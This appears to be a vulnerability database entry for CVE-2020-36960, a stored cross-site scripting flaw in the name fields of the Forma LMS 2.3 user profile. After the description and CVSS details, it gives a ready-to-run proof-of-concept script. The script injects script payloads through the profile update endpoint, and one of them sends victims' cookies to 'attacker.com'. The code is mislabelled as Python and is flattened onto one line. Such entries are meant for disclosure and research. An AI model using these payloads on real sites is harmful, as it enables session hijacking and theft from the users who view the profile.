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CVE-2020-36960 CVSS 6.4 MEDIUM

CVE-2020-36960

Published: 2026-01-26 18:16:27
Last Modified: 2026-04-15 00:35:42

Description

Forma LMS 2.3 contains a stored cross-site scripting vulnerability that allows attackers to inject malicious scripts into user profile first and last name fields. Attackers can craft scripts like '<script>alert(document.cookie)</script>' to execute arbitrary JavaScript when the profile is viewed by other users.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Forma LMS 2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2020-36960 PoC - Forma LMS Stored XSS in User Profile // Target: Forma LMS 2.3 user profile first_name/last_name fields // Step 1: Identify the vulnerable endpoint const targetUrl = 'https://target-forma-lms.com/appLms/index.php?r=root/adm_user/update'; // Step 2: Create malicious payload for first_name or last_name field const xssPayload = "<script>alert(document.cookie)</script>"; const xssPayloadSteal = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"; // Step 3: Send request to update user profile with XSS payload // Using fetch API to submit the profile update form async function exploitStoredXSS() { const formData = new FormData(); // These fields are vulnerable to XSS formData.append('firstname', xssPayload); formData.append('lastname', '<script>alert(document.domain)</script>'); // Additional required fields formData.append('email', '[email protected]'); formData.append('password', ''); try { const response = await fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' // Include session cookies }); console.log('XSS payload injected successfully'); console.log('Payload will execute when profile is viewed by other users'); } catch (error) { console.error('Exploitation failed:', error); } } exploitStoredXSS();

References

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